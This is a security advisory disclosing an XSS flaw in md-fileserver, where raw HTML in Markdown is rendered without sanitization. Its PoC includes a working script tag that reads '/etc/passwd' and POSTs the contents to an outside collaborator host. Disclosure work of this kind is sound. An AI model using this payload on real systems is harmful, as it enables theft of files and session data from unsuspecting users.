GHSA-32q2-hhr5-6qvv

md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)

### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. ### Details An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser. ### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML. lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output. lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding. ### PoC Create a pwn.md ``` # Hello <script> fetch('/etc/passwd', { credentials: 'include' }) .then(r => r.text()) .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t })); </script> ``` Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="image" src="https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8" /> ### Impact Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to: - Session hijacking - Account takeover - Credential theft - Defacement or injection of malicious content - Exfiltration of sensitive data via API tokens, CSRF tokens, or user information This affects all users who can view Markdown content within the application.